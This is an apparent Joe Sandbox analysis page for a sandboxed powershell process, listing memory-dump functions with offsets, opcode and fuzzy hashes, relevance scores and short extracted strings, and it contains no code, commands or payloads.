Source File: 00000004.00000002.2856705849.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2af1a8bea7c4e794b04806ea6346cba7c73f9caeb4ab673e95e5f09948a73be
Instruction ID: e93f431fea0405edc33714197fdb1e620c2535c67a3bccceed58904438bea68a
Opcode Fuzzy Hash: a2af1a8bea7c4e794b04806ea6346cba7c73f9caeb4ab673e95e5f09948a73be
Instruction Fuzzy Hash: E012C271E046188FDB54DFAAC98069EFBF2BF88344F64C169D418AB219D734A986CF50

Function 07205720 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858569819.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7200000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fafa85914cb0e0777903fa22aa15c3fca6849e18589ae5637d64809fff7d6275
Instruction ID: 2fbb21c37837379e7343e67e24a83cffbed70fc2ce8f2e6738f493ef11b0bc06
Opcode Fuzzy Hash: fafa85914cb0e0777903fa22aa15c3fca6849e18589ae5637d64809fff7d6275
Instruction Fuzzy Hash: E8C16074E20208CFDB14DFA9D445BEDBBB1EB4A300F50906AE40AAB795CB746D45CFA1

Function 07205730 Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858569819.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7200000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cb0fa76704914193760abebe27df5f5f13c27d624b69910ebfed223a0e8f631
Instruction ID: 2bdab3a38aa4c00df91718226b1a2641d6a291844a15b826bb503157d58d9210
Opcode Fuzzy Hash: 1cb0fa76704914193760abebe27df5f5f13c27d624b69910ebfed223a0e8f631
Instruction Fuzzy Hash: 8BC17FB4E20208CFDB14DFA9D445BEDBBB1EB4A300F50506AE40AAB395CB746D45CFA0

Function 07205D90 Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858569819.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7200000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e69a2449c2ab5b2fbbd3de05859da26879f366650736582d614b0c7272104f5d
Instruction ID: bdf4cfaebc0a8916e1a0f1fa29be39cb4d79644aae5efc5f6e363ead252b7546
Opcode Fuzzy Hash: e69a2449c2ab5b2fbbd3de05859da26879f366650736582d614b0c7272104f5d
Instruction Fuzzy Hash: 42A11AB4A21249CFDB44DFA8D445BDDBBF1FB49300F50516AE409AB381DB74A942CF51

Function 06F875D8 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2856705849.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d462d60586e825a26d229c21fdec7663e32c6b09cbe758dead781497a0e9498
Instruction ID: 88a60db7d78a884c074e3d7c743e2eb0496768afd5c8b83498d75459a27bfa32
Opcode Fuzzy Hash: 2d462d60586e825a26d229c21fdec7663e32c6b09cbe758dead781497a0e9498
Instruction Fuzzy Hash: DF710570D14219DFEB84EFAAD8847ADBBF2FF89300F2494A9E415A7250D7745841CF90

Function 06F875C8 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2856705849.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce57da764ddb2c0452e3a7e48ab6fa704e05fc2f9d8f940b37f28847284ca9ac
Instruction ID: 7ed56eb5a17c622119600da8e583bf3ebcb9f56d321bd475bf962d5f0b81aaa6
Opcode Fuzzy Hash: ce57da764ddb2c0452e3a7e48ab6fa704e05fc2f9d8f940b37f28847284ca9ac
Instruction Fuzzy Hash: 0B610270D14219CFDB85EFAAC8847ADBBF2BF89300F2495AAE425A7250D7745941CF90

Function 06F885E0 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2856705849.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc4c0c42e941c023c3c49165c8f8dbd42abc23e448381ebb514a3156445a83ba
Instruction ID: d72c1ec2c445dfdfe4a2d6306c4546e6fbc74d1e217fb87f9eee6fa28da7fa92
Opcode Fuzzy Hash: dc4c0c42e941c023c3c49165c8f8dbd42abc23e448381ebb514a3156445a83ba
Instruction Fuzzy Hash: 1A5199B1E056588BDB08CFABC94059EFBF3AFC9300F18C07AD958AB264DB3059468F54

Function 06F88661 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2856705849.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1eebcf0d111c617b6985aa5cf0f02d7eae7226e2bede7c2f169cbf7d9f3f71bf
Instruction ID: 6385c1fe1ffa3395eb49b51dafb4cdf57e25dd699a003213991996a83e68ca6b
Opcode Fuzzy Hash: 1eebcf0d111c617b6985aa5cf0f02d7eae7226e2bede7c2f169cbf7d9f3f71bf
Instruction Fuzzy Hash: D84158B5E016198BDB08CFABC94059EFBF3AFC8310F14C17AD958AB264DB3459468F54

Function 06F80006 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2856705849.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f7cad8dcfea3b08ea87b2b02bdb1ab8a087ecb13a434ed5fac136e22bb8a255
Instruction ID: 5786f73cd3aff77d7b730c2598b7c63d20bc368eb6301d8e4bcba03cd325365c
Opcode Fuzzy Hash: 0f7cad8dcfea3b08ea87b2b02bdb1ab8a087ecb13a434ed5fac136e22bb8a255
Instruction Fuzzy Hash: 23413C71D093588FEB55CF66CC446DABBB2AF8A300F44C1E6D808AB255DB740E89CF51

Function 07220006 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858630208.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ffba64a6812ddf9b9d6fbb613587a709d8bd4c61b3c3ccd727e64fce1e4f933
Instruction ID: 357d3b507332fd0743374db5ee08fd83d843dec050bb506bca47f3cbdc35876c
Opcode Fuzzy Hash: 0ffba64a6812ddf9b9d6fbb613587a709d8bd4c61b3c3ccd727e64fce1e4f933
Instruction Fuzzy Hash: 00418B71E15B548FE759CF678C4169AFBF3AFCA200F19C1FA84489A265EB340946CF11

Function 07220040 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858630208.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a49d0d7eace574d92f099c76648fadb894672d82cbc73500bfb8d369d0380ad3
Instruction ID: 0a18e33e6ad11e2e6c14a255368e3539fb4c5f4e54a3d9b7988ca9f2b7d944fc
Opcode Fuzzy Hash: a49d0d7eace574d92f099c76648fadb894672d82cbc73500bfb8d369d0380ad3
Instruction Fuzzy Hash: 684174B1E156188FEB18CF6B8D4478AFAF7AFC9301F14D1B9844CAA255DB705582CF01

Function 06F824D8 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2856705849.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f9dfd5995b6672853642576e1184cd314e8ff7ae6ef5b86138d185b671c8754
Instruction ID: 34403153aecb3c76d082eb99e264dafb67c51dda661c43d4d26174fb80934713
Opcode Fuzzy Hash: 9f9dfd5995b6672853642576e1184cd314e8ff7ae6ef5b86138d185b671c8754
Instruction Fuzzy Hash: 0B31ED71D157548FEB5ACF2B98506DAFFF7AFCA200F08D0EAD448AA255DA300A85CF51

Function 071CD9E8 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f59d9f4ccc5b4b46793976f1c186d84013837f90b88ef6ab3f5813b4d068431f
Instruction ID: 15e603b31a3f045015b6289b8238cfad40350c4b303eb0b46b985150f615ad53
Opcode Fuzzy Hash: f59d9f4ccc5b4b46793976f1c186d84013837f90b88ef6ab3f5813b4d068431f
Instruction Fuzzy Hash: 8641B2B0E05218CBEB58CF9AD844B9DBBF6BF89300F04C1AAD449AB394DB745985CF41

Function 06F82518 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2856705849.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5e61bea39d6e4566349e6a37a1dcab8922a1f0643e1436630f5190ca79d120a
Instruction ID: 77a570245228d23de70de7ded1aab09568c8288661a0abf61c4698cd5ce2e374
Opcode Fuzzy Hash: d5e61bea39d6e4566349e6a37a1dcab8922a1f0643e1436630f5190ca79d120a
Instruction Fuzzy Hash: 22318B71D156188FEB59CF5BD85069AF6FBAFC9300F04D0EA9408A6254DB701B81CF51

Function 06F80040 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2856705849.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f80b6ba7be80186f1811bf75eecdd6fbc86a72c00b04a5e74b7a4f5f746f1863
Instruction ID: b71ef46d520b7dd88dbadcc926c54f3d0a0a7ecb0ae1bf48f267aa5943a561e9
Opcode Fuzzy Hash: f80b6ba7be80186f1811bf75eecdd6fbc86a72c00b04a5e74b7a4f5f746f1863
Instruction Fuzzy Hash: E2310871D05218CFEB58DF6AC9447DAFBB2AF89300F40D1EA8809AB355DB345989CF41

Function 06F75780 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2856555642.0000000006F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b6d5cfefe384f2704e9502bfbdd30fe7aba7e0aff0f1723514c53850d82b8d4
Instruction ID: b194208763937cd12075bf5f5fcb3d84b5eef61f547623c337545228cffd6ac3
Opcode Fuzzy Hash: 8b6d5cfefe384f2704e9502bfbdd30fe7aba7e0aff0f1723514c53850d82b8d4
Instruction Fuzzy Hash: BA318AB1D056188BEB58CF6BC94578DFBF6AFC9304F14C1AA840CA6264DF741A858F51

Function 071CD9D8 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc46b561ed64a5e14f534517be444c519625b030a5fa57e5a6e722d02e5b5622
Instruction ID: d47da41099e845e3b60c437e767eb49fe3d8aa7e0b134a42979c108fb0eddf0a
Opcode Fuzzy Hash: fc46b561ed64a5e14f534517be444c519625b030a5fa57e5a6e722d02e5b5622
Instruction Fuzzy Hash: 1821E8B1D056188BEB18CFABD9443DDFBF7AF88300F04C17AD408A6254DB7509858F40

Function 06F7577B Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2856555642.0000000006F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb493933d1087c6467f240a4f30b633ef37a67f14122eed1dd29ca58268c25a9
Instruction ID: 6540703bf757bad740d934beb02d023986846f3e88f60355e7a6ec14dac5f2cb
Opcode Fuzzy Hash: bb493933d1087c6467f240a4f30b633ef37a67f14122eed1dd29ca58268c25a9
Instruction Fuzzy Hash: 6D2158B1D016588BEB58CF6BC94979AFBF3AFC9304F14C1AAC44CA6264DF7409868F01

Function 075A80A0 Relevance: 14.2, Strings: 11, Instructions: 409COMMON

Download Yara Rule

Strings

$sq, xrefs: 075A8146
$sq, xrefs: 075A81BF
$sq, xrefs: 075A8224
tPsq, xrefs: 075A83F4
$sq, xrefs: 075A8214
$sq, xrefs: 075A8188
tPsq, xrefs: 075A8400
$sq, xrefs: 075A81AF
$sq, xrefs: 075A83A9
4'sq, xrefs: 075A8262
4'sq, xrefs: 075A826E

Memory Dump Source

Source File: 00000004.00000002.2861127100.00000000075A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75a0000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$4'sq$tPsq$tPsq$$sq$$sq$$sq$$sq$$sq$$sq$$sq
API String ID: 0-927563862
Opcode ID: 5a3106b71dc37085d3ea09c6872c6bc3d550c19c8b8d3ef3ffd15ca58fe8c2ac
Instruction ID: 560acb01c6623e4bc9f81cf96e8b2c55f4ac6146d01917ea0c2bfa4d7a1cc154
Opcode Fuzzy Hash: 5a3106b71dc37085d3ea09c6872c6bc3d550c19c8b8d3ef3ffd15ca58fe8c2ac
Instruction Fuzzy Hash: 93D107B1B0424AFFDB168E69D8446FEBBA1BF85310F14847BD9058B281DB35EC41C7A1

Function 075A9BC8 Relevance: 9.0, Strings: 7, Instructions: 247COMMON

Download Yara Rule

Strings

4'sq, xrefs: 075A9E36
$sq, xrefs: 075A9DEB
4'sq, xrefs: 075A9C6B
4'sq, xrefs: 075A9C77
4'sq, xrefs: 075A9E2A
$sq, xrefs: 075A9E13
$sq, xrefs: 075A9E07

Memory Dump Source

Source File: 00000004.00000002.2861127100.00000000075A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75a0000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$4'sq$4'sq$4'sq$$sq$$sq$$sq
API String ID: 0-1847884874
Opcode ID: 2fc27d455a13dfe8c8d5c4de979896b9deca36b7ea765ca6a1ec606375ae8517
Instruction ID: a0eb854eee6da4a81a725de30a2a6339b37d3a6b8d2310e189b01d9df0a99e1d
Opcode Fuzzy Hash: 2fc27d455a13dfe8c8d5c4de979896b9deca36b7ea765ca6a1ec606375ae8517
Instruction Fuzzy Hash: B281F6B1B0822AAFCB149B69D4546EEFBE1BFD5210F14847BD505CB242DB31E885CB91

Function 075A9F10 Relevance: 9.0, Strings: 7, Instructions: 237COMMON

Download Yara Rule

Strings

$sq, xrefs: 075AA189
$sq, xrefs: 075AA143
4'sq, xrefs: 075AA1B1
4'sq, xrefs: 075A9FE5
4'sq, xrefs: 075A9FF1
$sq, xrefs: 075AA17D
4'sq, xrefs: 075AA1A5

Memory Dump Source

Source File: 00000004.00000002.2861127100.00000000075A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75a0000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$4'sq$4'sq$4'sq$$sq$$sq$$sq
API String ID: 0-1847884874
Opcode ID: b61b10030e2035dc5eb2e67ed0180c8229366c8bf0b41ea08e65081612091b3c
Instruction ID: 4b307295faf2e3335e5f586ad92142875db737907cc4e120ac99241496a65d57
Opcode Fuzzy Hash: b61b10030e2035dc5eb2e67ed0180c8229366c8bf0b41ea08e65081612091b3c
Instruction Fuzzy Hash: A37115B1B18217AFCB258A7998402EEB7E1BFC5220F24C47BC556CB241DF32D842C791

Function 075A7350 Relevance: 8.9, Strings: 7, Instructions: 171COMMON

Download Yara Rule

Strings

$sq, xrefs: 075A75C0
$sq, xrefs: 075A7464
$sq, xrefs: 075A7442
4'sq, xrefs: 075A75F0
$sq, xrefs: 075A7426
$sq, xrefs: 075A7405
tPsq, xrefs: 075A7502

Memory Dump Source

Source File: 00000004.00000002.2861127100.00000000075A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75a0000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$tPsq$$sq$$sq$$sq$$sq$$sq
API String ID: 0-857588439
Opcode ID: 4fc7158a9069096db7b8687b3fe09fb2f414d6686d4f83d2160243f8fcd01e3b
Instruction ID: 589bb4a7b53b8f497ab2ba01204e9c432d38575fbcbd3129747ced554e01f5a5
Opcode Fuzzy Hash: 4fc7158a9069096db7b8687b3fe09fb2f414d6686d4f83d2160243f8fcd01e3b
Instruction Fuzzy Hash: 8B517FB0A1420AFFDF248E18C544BEEBBA2BB8D211F598CB7D8055B291D771DD40CBA1

Function 06F8E3D0 Relevance: 7.9, Strings: 6, Instructions: 406COMMON

Download Yara Rule

Strings

(wq, xrefs: 06F8E59A
4'sq, xrefs: 06F8E51A
4'sq, xrefs: 06F8E4A2
4'sq, xrefs: 06F8E484
4'sq, xrefs: 06F8E454
pwq, xrefs: 06F8E527

Memory Dump Source

Source File: 00000004.00000002.2856705849.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f80000_powershell.jbxd

Similarity

API ID:
String ID: (wq$4'sq$4'sq$4'sq$4'sq$pwq
API String ID: 0-1920987972
Opcode ID: a8f6406195b338817f9a1b19e62d8f4281fa15a4a5738c55840e50542e73155e
Instruction ID: 674ba3bfc1257dae9a5d433720fef2fdda19c4566f5ea87468c9ee02aace270e
Opcode Fuzzy Hash: a8f6406195b338817f9a1b19e62d8f4281fa15a4a5738c55840e50542e73155e
Instruction Fuzzy Hash: F1D13C76A00114DFDB45DFA8C844D9ABBB2FF89310B0544E8E609AB272DB31ED55DF90

Function 075A8798 Relevance: 6.6, Strings: 5, Instructions: 373COMMON

Download Yara Rule

Strings

$sq, xrefs: 075A887E
$sq, xrefs: 075A88B5
(osq, xrefs: 075A88F0
$sq, xrefs: 075A88A5
(osq, xrefs: 075A88E0

Memory Dump Source

Source File: 00000004.00000002.2861127100.00000000075A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75a0000_powershell.jbxd

Similarity

API ID:
String ID: (osq$(osq$$sq$$sq$$sq
API String ID: 0-838265113
Opcode ID: 279b13660374b61f275baeabb67ec09873788bd3b30fbf9440e7989aa91e2a46
Instruction ID: 706bd4026c89bf86e02c478383ab6f0b2a14f4ae1e166836e8f353a23ec712cf
Opcode Fuzzy Hash: 279b13660374b61f275baeabb67ec09873788bd3b30fbf9440e7989aa91e2a46
Instruction Fuzzy Hash: B7C1E6B1B0430AAFDB269E69D8407EEBBA2BF85310F14847BD5059B281DF35F851C7A1

Function 075AF638 Relevance: 6.6, Strings: 5, Instructions: 360COMMON

Download Yara Rule

Strings

$sq, xrefs: 075AF6AB
4'sq, xrefs: 075AF6FB
4'sq, xrefs: 075AF6EF
$sq, xrefs: 075AF6C7
$sq, xrefs: 075AF6D3

Memory Dump Source

Source File: 00000004.00000002.2861127100.00000000075A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75a0000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$4'sq$$sq$$sq$$sq
API String ID: 0-737313894
Opcode ID: 5e0bd44275c0d9950bc3e2038089410e44e86747d87c92e27187883cdd87429e
Instruction ID: c0199cc3186b0b6b695bf1247cbbfafd34912f82c36153bd5c3537420365bd78
Opcode Fuzzy Hash: 5e0bd44275c0d9950bc3e2038089410e44e86747d87c92e27187883cdd87429e
Instruction Fuzzy Hash: AFC123B1B0421AAFDB149A6998406EEBBE2BFC5310F14847BD905CB2C1EF71D981C7E1

Function 075A8081 Relevance: 6.4, Strings: 5, Instructions: 138COMMON

Download Yara Rule

Strings

$sq, xrefs: 075A8146
$sq, xrefs: 075A8214
$sq, xrefs: 075A81AF
$sq, xrefs: 075A8188
4'sq, xrefs: 075A8262

Memory Dump Source

Source File: 00000004.00000002.2861127100.00000000075A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75a0000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$$sq$$sq$$sq$$sq
API String ID: 0-1756373418
Opcode ID: c1cc5807e2c8d445081e58a1a22f6eca30b2c5c27642abbb65b8ae68f4161811
Instruction ID: b6982d84d1c85125bc81e60a17921696762df6185da7d396dea243f1b3bb0db3
Opcode Fuzzy Hash: c1cc5807e2c8d445081e58a1a22f6eca30b2c5c27642abbb65b8ae68f4161811
Instruction Fuzzy Hash: 67519BB060424AFFDB268E18D5446FE7BA1FF42351F488976E8158B191D335F990CBA1

Function 075A70E0 Relevance: 6.4, Strings: 5, Instructions: 108COMMON

Download Yara Rule

Strings

$sq, xrefs: 075A71A7
$sq, xrefs: 075A7233
$sq, xrefs: 075A71CE
4'sq, xrefs: 075A7262
$sq, xrefs: 075A7186

Memory Dump Source

Source File: 00000004.00000002.2861127100.00000000075A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75a0000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$$sq$$sq$$sq$$sq
API String ID: 0-1756373418
Opcode ID: 4c4371c9aabe6b28b70af0656ecefd077074fa676ee794761b1d9cea5cf54a1f
Instruction ID: 35c049db604a3340b3d7bb4156e5fd24aaf31ccacf4285f99f776ffb2a954c97
Opcode Fuzzy Hash: 4c4371c9aabe6b28b70af0656ecefd077074fa676ee794761b1d9cea5cf54a1f
Instruction Fuzzy Hash: 1A4169B061420AFFDB248E14C5447EE77E1FF8A251F548D77E8148B291D736D980CBA1

Function 075AA8C8 Relevance: 6.4, Strings: 5, Instructions: 106COMMON

Download Yara Rule

Strings

$sq, xrefs: 075AA9A6
$sq, xrefs: 075AA984
4'sq, xrefs: 075AAA36
$sq, xrefs: 075AA9F4
$sq, xrefs: 075AA968

Memory Dump Source

Source File: 00000004.00000002.2861127100.00000000075A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75a0000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$$sq$$sq$$sq$$sq
API String ID: 0-1756373418
Opcode ID: 31bfb18e333721ed82a3d226f52059d10b61d3b2ef01b3f2f42a906b9497eb09
Instruction ID: 3d2dd72c2d266281b8c7f693c9466ea39e11bde5a4a14067285b544a2ea5d64c
Opcode Fuzzy Hash: 31bfb18e333721ed82a3d226f52059d10b61d3b2ef01b3f2f42a906b9497eb09
Instruction Fuzzy Hash: 98317AF0A04206FFDB258E25CA40BEEB7E5BB81250F56C07BE5098B251DB35D984CBD1

Function 06F8D848 Relevance: 5.4, Strings: 4, Instructions: 385COMMON

Download Yara Rule

Strings

(wq, xrefs: 06F8D8B6
Hwq, xrefs: 06F8DC0B
(wq, xrefs: 06F8D88A
Hwq, xrefs: 06F8DBA3

Memory Dump Source

Source File: 00000004.00000002.2856705849.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f80000_powershell.jbxd

Similarity

API ID:
String ID: (wq$(wq$Hwq$Hwq
API String ID: 0-1295389596
Opcode ID: 64452096b04e40ace139e184e130eeae8fab208a8fe9c42e039694e81a25f0e7
Instruction ID: f0088018afbf89d6d6794bf859e1acbc61ffb95cc2ecdbfcf3119fb7ed6bd097
Opcode Fuzzy Hash: 64452096b04e40ace139e184e130eeae8fab208a8fe9c42e039694e81a25f0e7
Instruction Fuzzy Hash: 6EE1D030B042559FCB49EF28C490AAEBBA2FF85310F1585A9E8059F395DB34ED46CB91

Function 075AEB7D Relevance: 5.1, Strings: 4, Instructions: 125COMMON

Download Yara Rule

Strings

(osq, xrefs: 075AEBC0
tPsq, xrefs: 075AED37
4'sq, xrefs: 075AECE1
(osq, xrefs: 075AEBCC

Memory Dump Source

Source File: 00000004.00000002.2861127100.00000000075A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75a0000_powershell.jbxd

Similarity

API ID:
String ID: (osq$(osq$4'sq$tPsq
API String ID: 0-1599087423
Opcode ID: e94cae02886103b4c69497fb0ece04c428911f32578f5520aba13c8b9d0bbf88
Instruction ID: 6573a79cefe7ec860917103e88c92c675110f72facbde9f0c732c5e2cc14b86d
Opcode Fuzzy Hash: e94cae02886103b4c69497fb0ece04c428911f32578f5520aba13c8b9d0bbf88
Instruction Fuzzy Hash: 894125B1A04205EFCB208B588843BAEBBA2BFC5720F19C4BBD5149F242D731DC41C7A2

Function 075A7608 Relevance: 5.1, Strings: 4, Instructions: 120COMMON

Download Yara Rule

Strings

(osq, xrefs: 075A7657
tPsq, xrefs: 075A778F
$sq, xrefs: 075A770C
(osq, xrefs: 075A764B

Memory Dump Source

Source File: 00000004.00000002.2861127100.00000000075A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75a0000_powershell.jbxd

Similarity

API ID:
String ID: (osq$(osq$tPsq$$sq
API String ID: 0-2070755728
Opcode ID: 0845fc1a4d3675b5c326b198202dea192d92c45b959dd7299023c1ebf07b30e9
Instruction ID: d08db3668b0ab99611ee56e07b1653e52151408e976d862d0a971b972e633cb3
Opcode Fuzzy Hash: 0845fc1a4d3675b5c326b198202dea192d92c45b959dd7299023c1ebf07b30e9
Instruction Fuzzy Hash: E74136B1A04246AFDB248B588840BAEBBE1FFC9310F55887BE9049B242DB71DD45C7A1

Function 075AF510 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$sq, xrefs: 075AF522
$sq, xrefs: 075AF578
$sq, xrefs: 075AF53E
$sq, xrefs: 075AF56C

Memory Dump Source

Source File: 00000004.00000002.2861127100.00000000075A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75a0000_powershell.jbxd

Similarity

API ID:
String ID: $sq$$sq$$sq$$sq
API String ID: 0-2855845837
Opcode ID: 0fce56849d6f17bfe59d3e96dec199001a401eb6e1e4942c5e763096d345a396
Instruction ID: 9b22e9f5df41a87fe8b634e64180c303c02dacfb37f91805fd40f008a974de47
Opcode Fuzzy Hash: 0fce56849d6f17bfe59d3e96dec199001a401eb6e1e4942c5e763096d345a396
Instruction Fuzzy Hash: 6E2137F17103467BDF349979A840B6FBA9AAFC8315F60843BA506CB2C2CD35CA418761

Function 075A0308 Relevance: 5.0, Strings: 4, Instructions: 47COMMON

Download Yara Rule

Strings

4'sq, xrefs: 075A037F
$sq, xrefs: 075A0352
4'sq, xrefs: 075A0373
$sq, xrefs: 075A035E

Memory Dump Source

Source File: 00000004.00000002.2861127100.00000000075A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75a0000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$4'sq$$sq$$sq
API String ID: 0-148891389
